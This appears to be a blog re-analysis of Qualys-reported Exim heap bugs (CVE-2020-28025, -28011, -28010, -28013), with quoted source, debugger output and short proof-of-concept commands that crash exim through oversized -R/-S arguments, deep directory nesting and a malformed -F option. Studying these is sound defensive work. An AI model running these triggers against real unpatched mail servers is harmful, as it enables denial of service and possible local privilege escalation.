EXIM: CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()

Posted on May 26, 2025

EXIM: Analysis 4.92.1-R

This is just as re-analysis to better understand, the reporter and author of there vulnerabileties is company Qualys official link: https://www.qualys.com/2021/05/04/21nails/21nails.txt

CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()

  1. Callers of pdkim_finish_bodyhash()

main()receive_msg()dkim_exim_verify_finish()

dkim_exim_verify_finish() be called to verify DKIM (DomainKeys Identified Mail) signature, then calls pdkim_feed_finish() , which calls pdkim_finish_bodyhash()

  1. DKIM (DomainKeys Identified Mail) looks like this.

image.png

Code of the function pdkim_finish_bodyhash()

...
  /* VERIFICATION --------------------------------------------------------- */
  /* Be careful that the header sig included a bodyash */

    if (  sig->bodyhash.data
       && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0)
      {
      DEBUG(D_acl) debug_printf("PDKIM [%s] Body hash compared OK\n", sig->domain);
      }
    else
      {
      DEBUG(D_acl)
        {
	debug_printf("PDKIM [%s] Body hash signature from headers: ", sig->domain);
	pdkim_hexprint(sig->bodyhash.data, sig->bodyhash.len);
	debug_printf("PDKIM [%s] Body hash did NOT verify\n", sig->domain);
	}
      sig->verify_status     = PDKIM_VERIFY_FAIL;
      sig->verify_ext_status = PDKIM_VERIFY_FAIL_BODY;
      }
...

Unfortunately, at line 826, sig->bodyhash.data is attacker-controlled (through a “DKIM-Signature:” mail header) and memcmp() is called without checking first that sig->bodyhash.len is equal to b->bh.len: memcmp() can read sig->bodyhash.data out-of-bounds. If the acl_smtp_dkim is set (it is unset by default), an unauthenticated remote attacker may transform this vulnerability into an information disclosure; we have not fully explored this possibility.

CVE-2020-28011: Heap buffer overflow in queue_run()

Through the -R deliver_selectstring and -S deliver_selectstring_sender options, the “exim” (user depends on what user you give in Makefile, if you give your own owned user, sudo chown -R $USER:$USER /var/spool/exim appropriate rights should be given to spool directory) user can overflow the heap-based big_buffer in queue_run() (lines 419 and 423):

First, we start by running command line: -R flag:

exim/src #exim-4.92.2-RC1 > /usr/sbin/exim -R `perl -e 'print "A" x 128000'`                                                                                                                                                    4s 15:30:19
[1]    40146 segmentation fault (core dumped)  /usr/sbin/exim -R `perl -e 'print "A" x 128000'` 

which gives SEGV Error, the reason is heap corruption. if look the reason under microscope: we can the reason is clear.

image.png

CS p :

CS from:

image.png

#define CS (char *)

…is a preprocessor directive that defines CS as a shorthand for (char *). Here’s what it means in practice:

  • #define tells the C preprocessor: “whenever you see CS, replace it with (char *) before compilation.”
  • (char *) is a type cast to a char pointer.

So:

char *p = CS 0xdeadbeef

Becomes:

char *p = (char *) 0xdeadbeef;

p is from:

image.png

extras[8] is a pointer. Pointer points to heap space.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)

/usr/sbin/exim4 -R `perl -e 'print "A" x 128000'`
malloc(): invalid size (unsorted)
Aborted

/usr/sbin/exim4 -S `perl -e 'print "A" x 128000'`
malloc(): invalid size (unsorted)
Aborted

CVE-2020-28010: Heap out-of-bounds write in main()

For debugging and logging purposes, Exim copies the current working directory (initial_cwd) into the heap-based big_buffer:

image.png

image.png

The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at least) initial_cwd can be much longer than big_buffer_size (16KB): line 3953 can increase p past big_buffer’s end, and line 3956 (and beyond) can write out of big_buffer’s bounds. We have not tried to exploit this vulnerability; if exploitable, it would allow an unprivileged local attacker to obtain full root privileges.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

perl -e 'use strict;
my $a = "A" x 255;
for (my $i = 0; $i < 4096; $i++) {
mkdir "$a", 0700 or die;
chdir "$a" or die; }
exec "/usr/sbin/exim", "-d+all" or die;'
...
23:50:39  5588 changed uid/gid: forcing real = effective
23:50:39  5588   uid=0 gid=1001 pid=5588
...
Segmentation fault

History


This vulnerability was introduced in Exim 4.92:

------------------------------------------------------------------------
commit 805fd869d551c36d1d77ab2b292a7008d643ca79
Date:   Sat May 19 12:09:55 2018 -0400
...
   Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
+  p += 4 + Ustrlen(initial_cwd);
+  /* in case p is near the end and we don't provide enough space for
+   * string_format to be willing to write. */
+  *p = '\0';
 
-  while (*p) p++;
------------------------------------------------------------------------

CVE-2020-28013: Heap buffer overflow in parse_fix_phase()

If a local attacker executes Exim with a -F '.(' option (for example), then parse_fix_phrase() calls strncpy() with a -1 size (which overflows the destination buffer, because strncpy(dest, src, n) “writes additional null bytes to dest to ensure that a total of n bytes are written”). Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is decremented, and at line 1127 ss-s is equal to -1:

image.png

Debugging:

...
pwndbg> p ss
$19 = (const uschar *) 0x7ffcc1406297 "("
pwndbg> p s
$20 = (const uschar *) 0x7ffcc1406298 ""
pwndbg> p/d ss-s
$21 = -1

Proof of the concept

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

id
uid=1001(jane) gid=1001(jane) groups=1001(jane)

/usr/sbin/exim4 -bt -F '.('
Segmentation fault